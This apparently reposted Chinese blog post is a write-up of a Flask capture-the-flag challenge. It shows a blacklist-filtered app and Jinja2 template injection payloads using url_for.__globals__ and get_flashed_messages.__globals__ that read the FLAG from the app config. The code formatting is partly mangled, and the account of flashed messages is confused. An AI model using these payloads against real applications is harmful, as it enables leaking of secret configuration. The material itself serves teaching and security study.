本文共 1609 字,大约阅读时间需要 5 分钟。
如何通过Flask模板注入绕过过滤并获取FLAG
在Flask应用中,模板注入是一种常见的安全问题,特别是在模板引擎支持代码执行的情况下。以下是如何通过Flask模板注入绕过过滤并获取FLAG的一种方法。
首先,我们来看提供的Flask代码:
import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index(): return open(__file__).read()@app.route('/shrine/ ')def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) 代码中定义了safe_jinja函数用于过滤输入。该函数执行以下操作:
(和)为空。['config', 'self']。{% set config=None %}。尽管safe_jinja函数进行了过滤,但仍然存在多种方法绕过其保护措施。以下是一些常见的绕过方法:
url_for获取全局变量Flask模板引擎支持url_for函数,该函数可以用来生成URL,并接受参数以获取全局变量。例如:
{{ url_for.__globals__['current_app'].config.FLAG }} 通过这种方式,可以直接访问Flask应用的current_app对象,并从中获取配置信息,包括FLAG。
get_flashed_messages获取闪现信息get_flashed_messages函数用于获取Flask中通过flash()方法传递的闪现信息。例如:
{{ get_flashed_messages.__globals__['current_app'].config.FLAG }} 闪现信息可以包含我们想要获取的内容,包括FLAG。
假设我们想要获取FLAG,可以构造以下模板:
/shrine/{{ url_for.__globals__['current_app'].config.FLAG }} 或者
/shrine/{{ get_flashed_messages.__globals__['current_app'].config.FLAG }} url_for和get_flashed_messages等函数绕过某些限制。通过Flask模板注入,虽然safe_jinja函数进行了过滤,但仍然存在绕过保护措施的方法,例如利用url_for和get_flashed_messages获取全局变量和闪现信息。因此,建议在Flask应用中谨慎使用模板注入,并结合其他安全措施来防止潜在的安全漏洞。
转载地址:http://kelx.baihongyu.com/